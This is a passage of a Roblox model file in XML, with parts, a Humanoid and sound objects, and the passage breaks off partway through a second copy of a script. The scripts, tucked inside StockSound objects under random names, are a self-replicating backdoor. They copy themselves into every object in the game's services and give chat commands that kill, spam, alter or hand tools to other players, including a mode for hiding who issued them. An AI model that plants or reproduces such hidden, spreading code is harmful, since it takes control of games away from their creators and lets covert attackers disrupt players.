							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX500">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">6qhwuwpa5</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX501">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">jkyu</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX502">
						<Properties>
							<float name="Health">100</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX503">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">v2p30esaa</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX504">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">m6q1bway</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
